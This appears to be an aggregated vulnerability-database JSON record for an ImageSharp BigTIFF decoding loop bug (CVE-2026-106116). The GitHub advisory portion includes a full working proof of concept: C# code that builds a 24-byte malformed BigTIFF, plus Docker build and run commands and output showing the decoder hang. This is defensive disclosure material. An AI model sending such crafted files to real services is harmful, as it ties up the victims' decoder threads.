{"id":"GHSA-wmxv-xphr-5c9g","revision":null,"records":[{"revision":"6cfb1c4644184f5396c27d8f324d11ed","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-106116","aliases":[],"title":"ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop","description":"ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, ExifReader.ReadValues64 trusts the 64-bit BigTIFF IFD entry count and iterates once per declared entry. When fewer than 20 bytes remain, ExifReader.ReadValue64 returns without advancing the stream or terminating the outer loop, so a small malformed BigTIFF can keep one decoder thread executing for an attacker-controlled duration. This report does not claim worker-pool exhaustion. This issue is fixed in version 4.1.2.","state":0,"publishedAt":"2026-10-06T17:51:36.366+00:00","modifiedAt":"2026-10-06T18:21:55.088+00:00","affected":[{"ecosystem":"Vendor product","name":"ImageSharp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"SixLabors\",\n                    \"product\": \"ImageSharp\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.0.0, < 4.1.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g","https://github.com/SixLabors/ImageSharp/pull/3187","https://github.com/SixLabors/ImageSharp/commit/92b12d72550ebb6be5b1e22e559c361fd863a6ec","https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-106116","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-106116","identifiers":["CVE-2026-106116"]},"retained":false,"historicalAffected":[]},{"revision":"98b5171b55114adeba68e5d0a2b4bc3e","observedAt":"2026-10-25T04:17:41.466+00:00","statement":{"source":"nvd","id":"CVE-2026-106116","aliases":[],"title":"ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, ExifReader.ReadValues64 trusts the 64-bit BigTIFF IFD entry count and iterates once per declared entry. When fewer than 20 bytes remain, ExifReader.ReadValue64 returns without adv…","description":"ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, ExifReader.ReadValues64 trusts the 64-bit BigTIFF IFD entry count and iterates once per declared entry. When fewer than 20 bytes remain, ExifReader.ReadValue64 returns without advancing the stream or terminating the outer loop, so a small malformed BigTIFF can keep one decoder thread executing for an attacker-controlled duration. This report does not claim worker-pool exhaustion. This issue is fixed in version 4.1.2.","state":0,"publishedAt":"2026-10-06T18:16:53.4+00:00","modifiedAt":"2026-10-24T01:24:27.543+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/SixLabors/ImageSharp/commit/92b12d72550ebb6be5b1e22e559c361fd863a6ec","https://github.com/SixLabors/ImageSharp/pull/3187","https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2","https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106116","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-835"],"productCriteria":["cpe:2.3:a:sixlabors:imagesharp:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-10-06T18:16:53.400","lastModified":"2026-10-24T01:24:27.543"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-106116","identifiers":["CVE-2026-106116"]},"retained":false,"historicalAffected":[]},{"revision":"8b9dae6aff7f4d528a4d2c8a953a4b8c","observedAt":"2026-10-23T16:01:25.029+00:00","statement":{"source":"osv","id":"GHSA-wmxv-xphr-5c9g","aliases":["CVE-2026-106116"],"title":"ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop","description":"### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n    // The count field is controlled by the input.\n    private static byte[] BuildBigTiff(ulong entryCount)\n    {\n        byte[] bytes = new byte[24];\n        bytes[0] = 0x49; bytes[1] = 0x49;               // II\n        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic\n        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets\n        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n        return bytes;\n    }\n\n    private static void Main(string[] args)\n    {\n        ulong entryCount = ulong.Parse(args[0]);\n        byte[] bytes = BuildBigTiff(entryCount);\n        Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n        try\n        {\n            using var stream = new MemoryStream(bytes);\n            using Image image = Image.Load(stream);\n            Console.Error.WriteLine(\"completed\");\n        }\n        catch (Exception ex)\n        {\n            Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n        }\n    }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <ImplicitUsings>enable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n  <ItemGroup>\n    <Reference Include=\"SixLabors.ImageSharp\">\n      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.IO.Hashing\">\n      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n    </Reference>\n  </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n    && dotnet restore fetch.csproj --nologo \\\n    && rm fetch.csproj \\\n    && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```","state":0,"publishedAt":"2026-10-07T20:24:32+00:00","modifiedAt":"2026-10-07T20:30:06.0378337+00:00","affected":[{"ecosystem":"NuGet","name":"SixLabors.ImageSharp","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"2.0.0"},{"kind":"fixed","version":"4.1.2"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","4.0.0","4.1.0","4.1.1"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g","https://nvd.nist.gov/vuln/detail/CVE-2026-106116","https://github.com/SixLabors/ImageSharp/pull/3187","https://github.com/SixLabors/ImageSharp/commit/92b12d72550ebb6be5b1e22e559c361fd863a6ec","https://github.com/SixLabors/ImageSharp","https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"],"sourceUrl":"https://github.com/advisories/GHSA-wmxv-xphr-5c9g","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wmxv-xphr-5c9g","identifiers":["GHSA-wmxv-xphr-5c9g","CVE-2026-106116"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T11:13:09.4007372+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T11:13:09.4007372+00:00","lastSuccessAt":"2026-10-26T11:13:09.5751909+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.5751943+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-f372ad4ebad95d0372251a2b800e134bcac5b2473e19479f542e5c01536704c4","complete":true,"records":414140,"lastAttemptAt":"2026-10-26T11:13:08.2100525+00:00","lastSuccessAt":"2026-10-26T11:13:08.1783835+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.2100525+00:00","snapshotPublishedAt":"2026-10-26T10:23:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T11:13:12.1268098+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T11:13:09.4007372+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T11:13:09.4007372+00:00","lastSuccessAt":"2026-10-26T11:13:09.5760274+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.5760278+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T11:13:10.0887317+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T11:13:09.2366743+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.2366743+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T11:13:08.7373454+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.7373454+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T11:13:09.3558968+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.3558968+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-654e90fb44abcd729ddecf56d54c1b46ce87ca3181850e8bc65d5c8befceb659","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T11:13:08.8456799+00:00","lastSuccessAt":"2026-10-26T08:22:30.1390577+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.8456799+00:00","snapshotPublishedAt":"2026-10-26T07:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}